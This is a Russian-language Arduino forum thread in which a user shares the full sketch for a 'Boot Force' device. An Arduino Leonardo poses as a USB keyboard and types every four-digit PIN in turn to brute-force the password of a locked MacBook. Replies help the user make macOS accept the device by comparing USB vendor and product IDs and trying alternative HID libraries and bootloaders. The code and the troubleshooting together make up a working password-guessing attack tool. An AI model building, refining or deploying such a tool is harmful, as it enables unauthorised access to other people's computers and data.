Arduino Leonardo как HID устройства на MacBook

sav13
sav13 аватар
Offline
Зарегистрирован: 17.06.2013

Здравствуйте

Сделал устройство для подбора пароля на заблокированном MacBook (по мотивам эжтой статьи)
https://habrahabr.ru/post/240291/

Ни в какую мак не хочет видить ардуинку, хотя USB клавиатуру видит. Под Windows тоже все отлично работает, выдает перебор комбинаций цифр как с клавиатуры

Никто с такой проблемкой не сталкивался?

 

#include "LiquidCrystal.h"

// Длина ключа
#define KEY_LEN 4
// Пауза между нахатиями клавиш, мс
#define TIMEOUT_KEY  300
// Пауза после ввода одного пароля, мс
#define TIMEOUT_LOOP 12000
// Массив символов из которых состоит пароль
char characters[] = {  0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39 };

uint8_t PIN_RS     = 4;
uint8_t PIN_ENABLE = 5;
uint8_t PIN_D4     = 6;
uint8_t PIN_D5     = 7;
uint8_t PIN_D6     = 8;
uint8_t PIN_D7     = 9;

LiquidCrystal lcd(PIN_RS, PIN_ENABLE, PIN_D4, PIN_D5, PIN_D6, PIN_D7);

uint32_t ms, ms2 = 0;
uint16_t KEY_NUM = 0;

char lcd_buf[20];
uint8_t KEY_COUNTS[KEY_LEN];

void setup() {
// Инициализируем дисплей 1602 
   lcd.begin(16, 2);   
   lcd.print("Boot Force v 1.0");
// Определяем число символв набора для перебора   
   KEY_NUM = sizeof(characters);
   sprintf(lcd_buf,"Len=%d Chars=%d", KEY_LEN,KEY_NUM );
   lcd.setCursor(0, 1);
   lcd.print(lcd_buf);
// Начальная инициализация массива
   for( int i=0; i<KEY_LEN; i++)KEY_COUNTS[i] = 0; 
// Инициализируем эмулятор клавиатуры  
   Keyboard.begin();
   delay(5000);
   lcd.setCursor(0, 0);
   lcd.print("Press button    ");     
}

void loop() {
   ms = millis();
 
   if( (ms2 == 0 || ms2 > ms || (ms - ms2)>TIMEOUT_LOOP)){
       ms2 = ms;
// Показываем на дисплее число
       for( int i=0; i<KEY_LEN; i++)lcd_buf[i] = characters[KEY_COUNTS[i]];
       for( int i=KEY_LEN; i<16; i++)lcd_buf[i]=' '; 
       lcd_buf[16] = '\0';
       lcd.setCursor(0, 1);
       lcd.print(lcd_buf);
// Выдаем пароль через USB       
       for( int i=0; i<KEY_LEN; i++ ){
          Keyboard.write(characters[KEY_COUNTS[i]]);    
          delay(TIMEOUT_KEY);
       }
       Keyboard.write(KEY_RETURN);
// Увеличиваем значение на 1       
       Inc(0);
   }
}


/**
 * Увеличиваем N-разряд пароля на один символ
 */
void Inc( uint8_t n ){
// Все приехали
   if( n >= KEY_LEN ){
      for( int i=0; i<KEY_LEN; i++)KEY_COUNTS[i] = 0; 
      return;
   }
// Инкерментируем
   KEY_COUNTS[n]++;
// Если данный разряд переполнился, сбрасываем его в 0 и инкрементируем следующий
   if( KEY_COUNTS[n] >= KEY_NUM ){
       KEY_COUNTS[n] = 0;
       Inc( n+1 );
   }

     

}

 

dimax
dimax аватар
Offline
Зарегистрирован: 25.12.2013

sav13, посмотрите под виндой идентификаторы клавы (VID/PID и прочее)  и эмулятора клавы на ардуино, наверняка они разные.

sav13
sav13 аватар
Offline
Зарегистрирован: 17.06.2013

dimax пишет:

sav13, посмотрите под виндой идентификаторы клавы (VID/PID и прочее)  и эмулятора клавы на ардуино, наверняка они разные.

А в леноардо можно поменять ID ?

 

sav13
sav13 аватар
Offline
Зарегистрирован: 17.06.2013
Леонардо - два устройства

HID\Vid_6666&Pid_1d6b&Col03
HID_DEVICE_SYSTEM_KEYBOARD
HID_DEVICE_UP:0001_U:0006
HID_DEVICE
 
HID\VID_2341&PID_8036&REV_0100&MI_02&Col02
HID\VID_2341&PID_8036&MI_02&Col02
HID_DEVICE_SYSTEM_KEYBOARD
HID_DEVICE_UP:0001_U:0006
HID_DEVICE
 
USB клава
 
HID\Vid_6666&Pid_1d6b&Col03
HID_DEVICE_SYSTEM_KEYBOARD
HID_DEVICE_UP:0001_U:0006
HID_DEVICE
 
HID\VID_0566&PID_3107&REV_0100&MI_00
HID\VID_0566&PID_3107&MI_00
HID_DEVICE_SYSTEM_KEYBOARD
HID_DEVICE_UP:0001_U:0006
HID_DEVICE
dimax
dimax аватар
Offline
Зарегистрирован: 25.12.2013

sav13, можно всё что угодно делать) Но уметь нужно. Или искать готовое, в принципе есть какие-то альтарнативные библиотеки. В частности тут говорится что-то про boot keyboard, можно попробовать с этой библиотекой.

sav13
sav13 аватар
Offline
Зарегистрирован: 17.06.2013

dimax пишет:

sav13, можно всё что угодно делать) Но уметь нужно. Или искать готовое, в принципе есть какие-то альтарнативные библиотеки. В частности тут говорится что-то про boot keyboard, можно попробовать с этой библиотекой.


Спасибо посмотрю. Похоже этот ID зашит в загрузчик Leonardo, который "слегка проприоритарный"
Ечть сто-то в раздели Hacking. Поразбираюсь

Просто нормальных уно с Atmega16U2 сейчас не особо много. 

dimax
dimax аватар
Offline
Зарегистрирован: 25.12.2013

sav13, есть ещё такой вариант.

sav13
sav13 аватар
Offline
Зарегистрирован: 17.06.2013

dimax пишет:

sav13, есть ещё такой вариант.

Интересно. Прошивать можно через этот интерфейс, как дигиспарк?

dimax
dimax аватар
Offline
Зарегистрирован: 25.12.2013

sav13, нет это программно не поддерживается.

sav13
sav13 аватар
Offline
Зарегистрирован: 17.06.2013

dimax пишет:

sav13, нет это программно не поддерживается.

Там же в тиньке вроде бутлоадер зашит. Нельзя его в мегу?

dimax
dimax аватар
Offline
Зарегистрирован: 25.12.2013

sav13, для меги есть асп-лоадер.

nestorsan
Offline
Зарегистрирован: 03.12.2016

sav13, Здравствуйте! Нашли решение проблемы? У меня все тоже самое